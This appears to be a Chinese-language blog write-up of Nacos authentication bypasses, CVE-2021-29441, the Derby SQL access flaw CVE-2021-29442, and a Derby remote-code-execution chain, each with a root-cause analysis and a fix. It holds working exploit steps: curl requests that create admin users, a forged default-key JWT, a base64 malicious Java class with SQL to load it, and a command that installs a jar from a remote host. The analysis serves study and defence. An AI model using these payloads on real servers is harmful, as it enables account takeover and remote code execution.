文章开头说一下nacos系列安全问题的根本原因,如官方的开发文档所说
Nacos提供简单的鉴权实现,为防止业务错用的弱鉴权体系,不是防止恶意攻击的强鉴权体系
权限绕过类
除CVE-2021-29441,都是研发人员在代码中没有将以下鉴权功能配置正确导致的权限绕过
# 开启鉴权
nacos.core.auth.enabled=true
nacos.core.auth.system.type=nacos
# 开启鉴权之后,你可以自定义用于生成JWT令牌的密钥
# The default token(Base64 String)
# 自定义密钥时,推荐将配置项设置为Base64编码的字符串,且原始密钥长度不得低于32字符。
nacos.core.auth.default.token.secret.key=
# 关闭使用user-agent判断服务端请求并放行鉴权的功能
nacos.core.auth.enable.userAgentAuthWhite=false
# 当以上两个属性这样如此设置时,以下两个属性生效
# 配置自定义身份识别的key(不可为空)和value(不可为空)
# 这两个属性是授权白名单,用于标识来自其他服务器的请求。
nacos.core.auth.server.identity.key=nacosKey
nacos.core.auth.server.identity.value=nacosValue
Nacos默认配置未授权访问漏洞 - nacos.core.auth.enabled = false
漏洞简介
这个漏洞,网上有不少文章将其原理简单归为CVE- 2021-29441中的描述,实际上并不是一个东西。此漏洞不需要添加任何身份标识来绕过校验,仅仅是因为默认配置未开启鉴权
环境搭建
Nacos gtihub下载地址
https://github.com/alibaba/nacos/releases/tag/2.0.0-ALPHA.1
win11环境搭建
\JAVA\nacos\bin>startup.cmd -m standalone
localhost:8848/nacos/#/login
漏洞验证
查看用户信息
http://192.168.250.106:8848/nacos/v1/auth/users?pageNo=1&pageSize=1
新建用户
POST /nacos/v1/auth/users HTTP/1.1
username=test1&password=test1
成功登录
漏洞原理
默认未开启配置 nacos.core.auth.enabled
在auth/src/main/java/com/alibaba/nacos/auth/common/AuthConfigs.java类中,isAuthEnabled方法的返回值取决于nacos.core.auth.enabled (默认False)
在core/src/main/java/com/alibaba/nacos/core/auth/AuthFilter.java类中,根据authConifgs.isAuthEnabled()的返回值默认为flase,所以这里默认跳过检查认证filter,直接进入filterchain的下一个filter
修复方案
配置文件修改为:nacos.core.auth.enabled=True
修改之后,再次尝试访问http://192.168.250.106:8848/nacos/v1/auth/users?pageNo=1&pageSize=1,回显WhitelabelErrorPage
Nacos默认jwt密钥未授权访问 - default nacos.core.auth.default.token.secret.key
漏洞简介
开启了nacos.core.auth.enabled 的情况下,如果未修改默认nacos.core.auth.default.token.secret.key,则可以生产accessToken值来绕过权限。
配置文件
### If turn on auth system:
nacos.core.auth.enabled=true
### The default token:
nacos.core.auth.default.token.secret.key=SecretKey012345678901234567890123456789012345678901234567890123456789
环境搭建
Nacos gtihub下载地址
https://github.com/alibaba/nacos/releases/tag/2.0.0-ALPHA.1
win11环境搭建
\JAVA\nacos\bin>startup.cmd -m standalone
localhost:8848/nacos/#/login
漏洞验证
使用在线的jwt生成网站:https://jwt.io/
eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MX0.prKBqb32hvYghIgxzSjzW2nbBn7TDjtYM49zEvxI38g
将PAYLOAD中exp的值修改为unix时间的五个小时。比如此刻:2024/3/24/11:25/00
exp:1711355100
然后带accessToken值即可调用接口
漏洞原理
修复方案
修改默认的nacos.core.auth.default.token.secret.key
Nacos身份认证serverIdentity绕过
漏洞简介
更合适的说法是危险配置造成的鉴权不严
环境搭建
配置如下的时候就会造成这个绕过可用
### If turn on auth system:
nacos.core.auth.enabled=true
### Since 1.4.1, Turn on/off white auth for user-agent: nacos-server, only for upgrade from old version.
nacos.core.auth.enable.userAgentAuthWhite=false
### Since 1.4.1, worked when nacos.core.auth.enabled=true and nacos.core.auth.enable.userAgentAuthWhite=false.
### The two properties is the white list for auth and used by identity the request from other server.
nacos.core.auth.server.identity.key=serverIdentity
nacos.core.auth.server.identity.value=security
### The default token (Base64 String) and len(key)>32:
nacos.core.auth.plugin.nacos.token.secret.key=MTIzNDU2Nzg5MTIzMTI0MzIxNDM2NTRmYmRmMzI0c2R2c2Rh
漏洞验证
在请求头中serverIdentity:security即可绕过jwt鉴权
漏洞原理
首先逻辑是根据前面的分析判断是否开启nacos.core.auth.enabled和是否开启userAgentAuthWhite,然后是对配置文件是否配置了identity.key&identity.value
修复方案
这个算漏洞实在很勉强,因为identity.key&identity.value的值其实是自定义的。这个安全隐患更像弱口令。
Nacos请求头User-Agent绕过鉴权
漏洞简介
在Nacos的鉴权管理中,有一项配置是通过User-Agent中是否包含Nacos-Server来进行判断请求是否来自其他服务端。
环境搭建
版本选择1.4.1
配置文件如下
nacos.core.auth.enable.userAgentAuthWhite=true
同时在该配置的对应位置也可以看到开发者对此配置的作用做出了解释,1.4.1版本更新之后,这个配置仅支持老版本升级的情况。
漏洞验证
curl 'http://localhost:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&accessToken=' -H 'User-Agent: Nacos-Serverver'
直接用curl命令即可完成验证,在请求头中添加了UA:Nacos-Server的时候,即使没有其他任何认证,也可以获取到用户信息
漏洞原理
https://github.com/alibaba/nacos/issues/4701
相关代码文件是src/main/java/com/alibaba/nacos/core/auth/AuthFilter.java
这里的逻辑也很简单,如果authConfigs.isEnableUserAgentAuthWhite()即配置文件中 nacos.core.auth.enable.userAgentAuthWhite 为true,就会获取请求头中UserAgent的值,然后判断是否是以字符串“Nacos-Server”为开头,若是则直接跳过鉴权。
StringUtils.startsWith(userAgent, Constants.NACOS_SERVER_HEADER)
修复方案
更改配置文件中默认选项
nacos.core.auth.enable.userAgentAuthWhite=false
CVE-2021-29441
漏洞简介
https://github.com/alibaba/nacos/issues/4701
此漏洞是对User-Agent绕过鉴权的一个bypass
环境搭建
同上文中User-Agent绕过鉴权的环境,区别在此时把UA白名单关闭,以及配置identity.key和identit.value
漏洞验证
开发者直接删除了漏洞版本的1.4.1(三梦师傅是Jan 14 提的issue,然后封装好的server端是直接更换修复后的了,不过Source code没有换),而低版本中没有对应配置项。所以想要复现试试的可以通过源码编译的方式获取环境。
本文就不贴演示的图,可以放入list的poc如下
#访问用户列表接口
curl XGET 'http://127.0.0.1:8848/nacos/v1/auth/users/?pageNo=1&pageSize=9'
可以看到,绕过了鉴权,返回了用户列表数据
{
"totalCount": 1,
"pageNumber": 1,
"pagesAvailable": 1,
"pageItems": [
{
"username": "nacos",
"password": "$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"
}
]
}
#添加新用户
curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test'
可以看到,绕过了鉴权,添加了新用户
{
"code":200,
"message":"create user ok!",
"data":null
}
#再次查看用户列表
curl XGET 'http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9'
可以看到,返回的用户列表数据中,多了一个我们通过绕过鉴权创建的新用户
{
"totalCount": 2,
"pageNumber": 1,
"pagesAvailable": 1,
"pageItems": [
{
"username": "nacos",
"password": "$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"
},
{
"username": "test",
"password": "$2a$10$5Z1Kbm99AbBFN7y8Dd3.V.UGmeJX8nWKG47aPXXMuupC7kLe8lKIu"
}
]
}
#访问首页http://127.0.0.1:8848/nacos/,登录新账号,可以做任何事情
漏洞原理
chains:
com/alibaba/nacos/core/auth/AuthFilter.java#doFilter
com/alibaba/nacos/core/code/ControllerMethodsCache.java#getMethod
com/alibaba/nacos/core/code/ControllerMethodsCache.java#getPath
控制path多一个末尾的斜杆'/',导致从urlLookup这个ConcurrentHashMap中获取不到method
为什么呢,因为nacos全部的RequestMapping都没有以斜杆'/'结尾
故只有非斜杆'/'结尾的RequestMapping存在并存入了urlLookup这个ConcurrentHashMap。那么,最外层的method == null条件将能满足,从而,绕过该鉴权机制
修复方案
有效的解决方案是直接抛出无效URI的异常,根本不会进入到RequestMapping
改制过后的getpath函数代码如下
Derby未授权->SQL注入(CVE-2021-29442)
漏洞简介
nacos带有一个嵌入式的小型数据库derby,而在版本<=1.4.0的默认配置部署nacos的情况下,它无需认证即可被访问,并执行任意sql查询,导致敏感信息泄露,后上周的所谓Nacos最新0day,其实也就是利用的同一个接口。
而CVE-2021-29442是因为最开始开发者没有为这个内存型数据库接口配置任何的访问控制引发的。
环境搭建
使用1.4.0的版本进行测试
漏洞验证
sql参数后直接跟select语句即可:curl -XGET "http://127.0.0.1:8848/nacos/v1/cs/ops/derby?sql=select%20*%20from%20users%20"
当然进阶利用是可以直接用下方的代码来破解此处查出来的用户密码的,毕竟加密方式是公开的
package com.alibaba.nacos.console.utils;
import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder;
/**
* Password encoder tool.
*
* @author nacos
*/
public class PasswordEncoderUtil {
public static void main(String[] args) {
System.out.println(new BCryptPasswordEncoder().encode("nacos"));
}
public static Boolean matches(String raw, String encoded) {
return new BCryptPasswordEncoder().matches(raw, encoded);
}
public static String encode(String raw) {
return new BCryptPasswordEncoder().encode(raw);
}
}
漏洞原理
漏洞代码 1.4.0的com/alibaba/nacos/core/auth/RequestMappingInfo.java#derbyOps
没有任何校验,只要get访问路由/derby即可进行进入函数
而第一个if的值取决于是否standalone模式启动的nacos,所以在standalone模式启动nacos的话,默认就可以进入第一个if
PropertyUtil.isEmbeddedStorage()
ApplicationUtils.getStandaloneMode()
第二个if也仅仅是判断了参数sql的值是否以"select"为字符串开头,然后就直接可以使用derby的查询功能了。
修复方案
参考1.4.1中此处的代码,添加了nacos/admin 的注解来限制仅管理员角色使用该接口(Nacos基于Spring Security来做了访问控制)
开启鉴权配置后即可做到限制未授权访问
Derby未授权->SQL注入->RCE
漏洞简介
这个漏洞其实可以说是CVE-2021-29442的更深层次利用,在上文中我们分析了,Derby未授权SQL注入利用的是/derby这个路由,但是限制了语句必须为select开头的即查询语句,而仅仅是查询语句就无法RCE。所以DerbyRCE的这个漏洞是利用removal接口在完成这个利用链完成derby注入的深入利用(最开始出来的打法用到的是"CALL sqlj.install_jar"简单来说就是将远程服务器上的jar包导入数据库,就可以动态调用类中的static方法),也就是所谓组合拳RCE。
环境搭建
2.3.2的standalone模式,以默认的配置文件运行就可以了
漏洞验证
目前看到大概有三种利用方式,后面两种是在不出网的场景下可以使用
1.CALL sqlj.install_jar 导入远程服务器上的恶意类
2.利用SYSCS_UTIL.SYSCS_EXPORT_QUERY_LOBS_TO_EXTFILE写文件,这样可以先将jar包写到本地目录再加载
- create type typeClass external 的方式自定义数据类型来映射java类
第三种很秀,在这里记一下第三种的打法
首先验证未授权存在
curl -XGET "http://192.168.111.130:8848/nacos/v1/cs/ops/derby?sql=select%20*%20from%20users%20"
制作命令执行类
┌──(root㉿kali)-[/tmp]
└─# vim MaliciousClass.java
--
public class MaliciousClass {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (Exception e) {
//TODO:handle exception
}
}
}
--
┌──(root㉿kali)-[/tmp]
└─# javac MaliciousClass.java
┌──(root㉿kali)-[/tmp]
└─# cat MaliciousClass.class | base64
yv66vgAAADQAHgoABwARCgASABMIABQKABIAFQcAFgcAFwcAGAEABjxpbml0PgEAAygpVgEABENv
ZGUBAA9MaW5lTnVtYmVyVGFibGUBAAg8Y2xpbml0PgEADVN0YWNrTWFwVGFibGUHABYBAApTb3Vy
Y2VGaWxlAQATTWFsaWNpb3VzQ2xhc3MuamF2YQwACAAJBwAZDAAaABsBAARjYWxjDAAcAB0BABNq
YXZhL2xhbmcvRXhjZXB0aW9uAQAOTWFsaWNpb3VzQ2xhc3MBABBqYXZhL2xhbmcvT2JqZWN0AQAR
amF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAE
ZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAA
AgABAAgACQABAAoAAAAdAAEAAQAAAAUqtwABsQAAAAEACwAAAAYAAQAAAAEACAAMAAkAAQAKAAAA
RwACAAEAAAAOuAACEgO2AARXpwAES7EAAQAAAAkADAAFAAIACwAAABIABAAAAAQACQAHAAwABQAN
AAgADQAAAAcAAkwHAA4AAAEADwAAAAIAEA==
对应的sql语句
create type typeClass external name 'java.lang.Class' language java
create type typeClassLoader external name 'java.lang.ClassLoader' language java
create function base64Decode(className VARCHAR(32672)) RETURNS VARCHAR(32672) FOR BIT DATA external name 'org.springframework.util.Base64Utils.decodeFromString' language java parameter style java
create function getSystemClassLoader() returns typeClassLoader external name 'java.lang.ClassLoader.getSystemClassLoader' language java parameter style java
create function defineClass(className VARCHAR(32672), bytes VARCHAR(32672) FOR BIT DATA, loader typeClassLoader) returns typeClass external name 'org.springframework.cglib.core.ReflectUtils.defineClass(java.lang.String, byte[], java.lang.ClassLoader)' language java parameter style java
create table test(v typeClass)
insert into test values (defineClass('MaliciousClass', base64Decode('yv66vgAAADQAHgoABwARCgASABMIABQKABIAFQcAFgcAFwcAGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAAg8Y2xpbml0PgEADVN0YWNrTWFwVGFibGUHABYBAApTb3VyY2VGaWxlAQATTWFsaWNpb3VzQ2xhc3MuamF2YQwACAAJBwAZDAAaABsBAARjYWxjDAAcAB0BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAOTWFsaWNpb3VzQ2xhc3MBABBqYXZhL2xhbmcvT2JqZWN0AQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAAAgABAAgACQABAAoAAAAdAAEAAQAAAAUqtwABsQAAAAEACwAAAAYAAQAAAAEACAAMAAkAAQAKAAAARwACAAEAAAAOuAACEgO2AARXpwAES7EAAQAAAAkADAAFAAIACwAAABIABAAAAAQACQAHAAwABQANAAgADQAAAAcAAkwHAA4AAAEADwAAAAIAEA=='), getSystemClassLoader()));
攻击:curl -X POST -F "file=@./payload.sql" "http://192.168.111.130:8848/nacos/v1/cs/ops/data/removal"
不出意外的话复现会遇到"file xxx does not exist",这个实际上是正常的,写个脚本挂着打然后看运气什么时候碰撞成功了
漏洞原理
两部分,未授权部分的分析在上文已经写出了。
derby数据库rce的原理重点就是理解上面写出的打法中用到的函数,第三种在上文中已经写了,这里简单补充下一和二
#最开始公开poc中的利用方式,这个函数直接导入制定jar包,前提是数据库服务器必须能够访问互联网,这在不出网的目标中不适用
CALL sqlj.install_jar('http://example.com/malicious.jar', 'APP.malicious_jar', 0)
#先通过数据库的内置工具将 JAR 包写到本地文件系统,然后再加载它
CALL SYSCS_UTIL.SYSCS_EXPORT_QUERY_LOBS_TO_EXTFILE('SELECT my_blob_column FROM my_table', 'my_exported_file.jar', '<delimiter>')
CALL sqlj.install_jar('file:///path/to/my_exported_file.jar', 'APP.local_jar', 0)
修复方案
配置好鉴权,不要使用默认的配置文件在生成环境启动服务即可